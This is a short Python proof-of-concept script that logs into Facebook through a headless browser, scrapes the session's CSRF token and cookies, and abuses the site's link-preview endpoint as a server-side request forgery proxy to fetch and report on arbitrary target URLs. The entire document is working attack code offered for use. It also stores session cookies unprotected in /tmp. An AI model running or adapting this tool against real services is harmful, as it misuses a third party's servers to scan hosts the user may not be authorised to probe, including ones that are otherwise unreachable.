Stupid SSRF PoC: scan some URL(s) for web content ... through facebook servers ...

fbssrfwebscan.py

#!/usr/bin/env python3

# @nil0x42

import sys
from selenium import webdriver
from time import sleep
import requests
import pickle
import json
import getpass

print("Stupid SSRF PoC: scan some URL(s) for web content ... through facebook servers ...")

try:
    target = sys.argv[1]
except:
    print("Usage: %s <url>")

cookies_file = "/tmp/fbssrfwebscan.cookies"


try:
    cookies, csrf_token = pickle.load(open(cookies_file, 'rb'))
except:

    email = input("facebook email: ")
    password = getpass.getpass("facebook password: ")
    
    options = webdriver.ChromeOptions()
    options.add_argument('headless')
    drv = webdriver.Chrome(chrome_options=options)
    
    drv.get('https://www.facebook.com/')
    
    
    sleep(0.5)
    email_box = drv.find_element_by_id('email')
    email_box.send_keys(email)
    
    sleep(0.5)
    password_box = drv.find_element_by_id('pass')
    password_box.send_keys(password)
    
    sleep(0.5)
    drv.find_element_by_id('loginbutton').click()

    src = drv.page_source
    delim = '"fb_dtsg" value="'
    assert delim in src
    pos = src.find(delim)
    chunk = src[pos+len(delim):]
    csrf_token = chunk[:chunk.find('"')]
    
    cookies = dict((x['name'], x['value']) for x in drv.get_cookies())
    pickle.dump((cookies, csrf_token), open(cookies_file, 'wb'))
    
    drv.close()

assert "datr" in cookies.keys()

payload = {
        "image_height": "0",
        "image_width": "0",
        "uri": target,
        "__a": "1",
        "fb_dtsg": csrf_token,
        }


r = requests.post("https://www.facebook.com/message_share_attachment/fromURI",
        cookies=cookies,
        data=payload)


_json = json.loads(r.text[9:])

data = _json['payload']

d_source = data['source']
d_title = data['title']
d_desc = data['description']
d_uri = data['share_data']['share_params']['urlInfo']['canonical']
if d_source != d_title or d_desc:
    print("\033[32m[+] FOUND:\033[00m %s -> %s" % (target, d_uri))
    print("    title: %s" % d_title)
    print("    desc:  %s" % d_desc)
else:
    print("\033[31m[-] URI NOT FOUND\033[00m")